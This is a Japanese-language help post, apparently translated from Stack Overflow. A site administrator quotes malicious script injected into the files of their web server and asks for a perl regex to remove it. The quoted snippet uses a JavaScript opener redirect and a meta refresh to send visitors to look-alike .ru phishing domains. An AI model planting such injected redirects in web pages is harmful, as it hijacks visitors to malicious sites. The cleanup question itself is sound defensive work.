<html>
私が管理している Web サーバー上のフォルダーが最近感染し、大量のファイルの開始タグの前に悪意のあるスクリプトが配置されました。perl 文字列置換スクリプトを実行して消去しようとしています。
悪意のあるファイルは次のようになります。
<script language="JavaScript">
parent.window.opener.location="http://vkk.coom.ny8pbpk.ru?nhzwhhh=ZE9taWlsX2nkPRE0LmZub3ffaUQ9PTM3MCbjb0RlNWFlZnrvaEx2b2JydWLuYUJxfwC%3D%3D";
</script>
<meta http-equiv="refresh" content="0;URL=http://yandex.ru.ny8pbpk.ru?pk=i%2FGWhteXsNcf0qzPwdiVgMkkhvrG1YbO25gYgPqe2saQmdIDmeiUlsiXmNEQmPCfhMSD5" />
<html>
<head>
......and the file goes on
私は Regex がちょっと苦手なので、perl の文字列置換の使用方法について、他の StackOverflow の投稿からできる限り多くの情報を収集しようとしました。私が直面している最大の問題は、複数の行で機能させることです。
これが私がこれまでに持っているものです:
perl -0777 -i -pe 's/\s*<html>/<html>/s' index.html
これは効果がないようです。<html>
秒を変更する<foobar>
と、正しく foobar に置き換えられますが、その前にあるものはすべて無視されます。
私が知る限り、-0777
フラグは1行として「丸呑み」することになっていて、\s*
前の文字列全体と一致する必要があります<html>
が、やはり正規表現が不足しています。どんな助けでも大歓迎です!